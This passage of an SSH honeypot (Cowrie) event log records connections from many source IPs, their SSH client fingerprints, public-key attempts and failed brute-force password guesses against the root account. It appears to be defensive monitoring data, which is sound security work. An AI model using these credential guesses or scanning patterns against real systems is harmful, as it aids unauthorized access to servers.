1@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:26.463141Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:99:90:55:85:c5:4c:6a:e5:d3:5e:de:62:f6:f0:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo3oKQ9bMNqnUq8PXTtOfWinADEAJ7rgbOoXAyMyrXzXB7iG2zFlhLzH0S6JjVVbBfgy0ost33xUwxhrlv6LBztatPmTjzKd0d/Pbb+UPqOWCigyx78NrRweDfbYyeNWzSjRC3lYXwuasARhGbziSsrSEJWY9PQeUa1yxQ+IRjgUmN1UsjGA8VpVFyf0XxZQakN/SxLX59Vf3imBvg9FZsopoy6dKazr2oCOnpfDvxF1sOP+g+blmf6KFemNCRIm+7Xm66/cMdOtJbsek9Qw/fcCP+Hbto9BjTJN9mRRUHJRLZWzUp03u1hViP6voOoQEbwY1Wa7QSuYi0dyMIgOLd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:99:90:55:85:c5:4c:6a:e5:d3:5e:de:62:f6:f0:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:26.901077Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:99:90:55:85:c5:4c:6a:e5:d3:5e:de:62:f6:f0:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo3oKQ9bMNqnUq8PXTtOfWinADEAJ7rgbOoXAyMyrXzXB7iG2zFlhLzH0S6JjVVbBfgy0ost33xUwxhrlv6LBztatPmTjzKd0d/Pbb+UPqOWCigyx78NrRweDfbYyeNWzSjRC3lYXwuasARhGbziSsrSEJWY9PQeUa1yxQ+IRjgUmN1UsjGA8VpVFyf0XxZQakN/SxLX59Vf3imBvg9FZsopoy6dKazr2oCOnpfDvxF1sOP+g+blmf6KFemNCRIm+7Xm66/cMdOtJbsek9Qw/fcCP+Hbto9BjTJN9mRRUHJRLZWzUp03u1hViP6voOoQEbwY1Wa7QSuYi0dyMIgOLd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:26.904597Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:86:51:db:d5:c5:63:52:72:05:81:48:ae:71:67:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjcC2PAKOu14NRBY183ieY45TDcj1o0wYHzpWosPY+XmipQGCrKJ5Zc8bAeo7JGvN0Plgq0XKA/fMc/DhqEp8gLeffcu3/Ykqfv0nBYdMLQFPMuqeFd1Krqk2pJ7OcWZwh/9svbRhZoZCIQ6Me/qjWThc17zIfF2EwTq1tu0oeXHQtmLalNeZ0dThuLwDx2UEdxkNlDSYiOrCYkRYoeFoDDBE/NNm+zCnsAWUZBjc6bmFccs+Hvk8x5uFwEpqvN6dsUjHI1RwkEM85CBZsVGb6gDKrxw+A3hRs47nWe/KTy64ZE98CUQU1QTfAI1LhKPixGs8Cu9Sa4n5e/t8e+AA5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:86:51:db:d5:c5:63:52:72:05:81:48:ae:71:67:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.000044Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:86:51:db:d5:c5:63:52:72:05:81:48:ae:71:67:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjcC2PAKOu14NRBY183ieY45TDcj1o0wYHzpWosPY+XmipQGCrKJ5Zc8bAeo7JGvN0Plgq0XKA/fMc/DhqEp8gLeffcu3/Ykqfv0nBYdMLQFPMuqeFd1Krqk2pJ7OcWZwh/9svbRhZoZCIQ6Me/qjWThc17zIfF2EwTq1tu0oeXHQtmLalNeZ0dThuLwDx2UEdxkNlDSYiOrCYkRYoeFoDDBE/NNm+zCnsAWUZBjc6bmFccs+Hvk8x5uFwEpqvN6dsUjHI1RwkEM85CBZsVGb6gDKrxw+A3hRs47nWe/KTy64ZE98CUQU1QTfAI1LhKPixGs8Cu9Sa4n5e/t8e+AA5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.003487Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:b7:88:5b:15:29:b4:ca:c6:1e:b9:ac:b9:f8:43:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNVfENrchh0mAHLp9coD5d+nbfEfKcTwvgImqahCHD8+EpXyuPoaf61TuBY2ED/rJ7FjIDNMsc8qx/iUKqb3fUn4XlNppeWeQ0rMZ8+zjRBjnZExM9i6wtpEV7OABA6DZ8AC7Wquv8DuSfhyFA95MikYbwJFyFvbRe+O7+Vh+46QcHrgrKI/JzmoiIHqgZeI8FNjyuZuZU66HkxpW+HtYO/mTDIWmrmxhCOuVXFyZIn2Y9wmdMlAez5KFlM6jVCpUmpKKgahz4P6Bh/1FNN13ASPEfrgHRlGDGBzj+GllJNy19kq/fXT7OepdJ4rlKrq92SjBi60SVqtuwZhrwlI0l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:b7:88:5b:15:29:b4:ca:c6:1e:b9:ac:b9:f8:43:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.096079Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:b7:88:5b:15:29:b4:ca:c6:1e:b9:ac:b9:f8:43:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNVfENrchh0mAHLp9coD5d+nbfEfKcTwvgImqahCHD8+EpXyuPoaf61TuBY2ED/rJ7FjIDNMsc8qx/iUKqb3fUn4XlNppeWeQ0rMZ8+zjRBjnZExM9i6wtpEV7OABA6DZ8AC7Wquv8DuSfhyFA95MikYbwJFyFvbRe+O7+Vh+46QcHrgrKI/JzmoiIHqgZeI8FNjyuZuZU66HkxpW+HtYO/mTDIWmrmxhCOuVXFyZIn2Y9wmdMlAez5KFlM6jVCpUmpKKgahz4P6Bh/1FNN13ASPEfrgHRlGDGBzj+GllJNy19kq/fXT7OepdJ4rlKrq92SjBi60SVqtuwZhrwlI0l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.099704Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:12:e9:28:4b:7b:09:9a:25:ff:e9:e1:aa:58:49:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAVwMSMNAS8Pe2/LqkEtL6kPByZDDFi4pWrvybRnW+pq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2a:12:e9:28:4b:7b:09:9a:25:ff:e9:e1:aa:58:49:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.192683Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:12:e9:28:4b:7b:09:9a:25:ff:e9:e1:aa:58:49:52","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAVwMSMNAS8Pe2/LqkEtL6kPByZDDFi4pWrvybRnW+pq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.196676Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:a9:1f:06:60:6a:87:e6:b9:d9:b9:a4:a0:22:7f:c4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ0vgCEpUn5AJReh8P/Pl4jJBLdyeOlZoYDyEJTRafCD","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 24:a9:1f:06:60:6a:87:e6:b9:d9:b9:a4:a0:22:7f:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.289503Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:a9:1f:06:60:6a:87:e6:b9:d9:b9:a4:a0:22:7f:c4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ0vgCEpUn5AJReh8P/Pl4jJBLdyeOlZoYDyEJTRafCD","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.292412Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:27.385022Z","src_ip":"88.99.193.143","session":"89093823fd61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":58292,"dst_ip":"159.203.135.109","dst_port":22,"session":"0367e6f198d6","protocol":"ssh","message":"New connection: 43.134.27.11:58292 (159.203.135.109:22) [session: 0367e6f198d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:28.083488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:28.087600Z","src_ip":"43.134.27.11","session":"0367e6f198d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:28.325446Z","src_ip":"43.134.27.11","session":"0367e6f198d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":43778,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2a939baa360","protocol":"ssh","message":"New connection: 152.32.150.26:43778 (159.203.135.109:22) [session: c2a939baa360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:29.170368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:29.174873Z","src_ip":"152.32.150.26","session":"c2a939baa360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:29.184958Z","src_ip":"152.32.150.26","session":"c2a939baa360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nitesh","message":"login attempt [root/nitesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:29.262784Z","src_ip":"152.32.150.26","session":"c2a939baa360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345!","message":"login attempt [root/abc12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:29.308724Z","src_ip":"43.134.27.11","session":"0367e6f198d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:30.523666Z","src_ip":"152.32.150.26","session":"c2a939baa360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:30.549023Z","src_ip":"43.134.27.11","session":"0367e6f198d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.639816999435425,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:36.222673Z","src_ip":"192.119.13.58","session":"47889a59d40e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":60540,"dst_ip":"159.203.135.109","dst_port":22,"session":"29636ad84404","protocol":"ssh","message":"New connection: 115.190.168.136:60540 (159.203.135.109:22) [session: 29636ad84404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:37.640806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:39.021077Z","src_ip":"115.190.168.136","session":"29636ad84404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:39.024776Z","src_ip":"115.190.168.136","session":"29636ad84404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":50524,"dst_ip":"159.203.135.109","dst_port":22,"session":"602c600f1a21","protocol":"ssh","message":"New connection: 43.156.237.246:50524 (159.203.135.109:22) [session: 602c600f1a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:39.531574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:39.535980Z","src_ip":"43.156.237.246","session":"602c600f1a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:39.773778Z","src_ip":"43.156.237.246","session":"602c600f1a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jamesm","message":"login attempt [root/jamesm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:40.758070Z","src_ip":"43.156.237.246","session":"602c600f1a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:41.999289Z","src_ip":"43.156.237.246","session":"602c600f1a21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":34878,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfc6fcd1982a","protocol":"ssh","message":"New connection: 119.28.117.200:34878 (159.203.135.109:22) [session: bfc6fcd1982a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:45.875549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:45.883909Z","src_ip":"119.28.117.200","session":"bfc6fcd1982a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:46.122223Z","src_ip":"119.28.117.200","session":"bfc6fcd1982a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victor","message":"login attempt [root/victor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:47.124631Z","src_ip":"119.28.117.200","session":"bfc6fcd1982a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:48.365122Z","src_ip":"119.28.117.200","session":"bfc6fcd1982a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":38184,"dst_ip":"159.203.135.109","dst_port":22,"session":"1735a85193d8","protocol":"ssh","message":"New connection: 108.167.177.203:38184 (159.203.135.109:22) [session: 1735a85193d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:56.872579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:56.877343Z","src_ip":"108.167.177.203","session":"1735a85193d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecds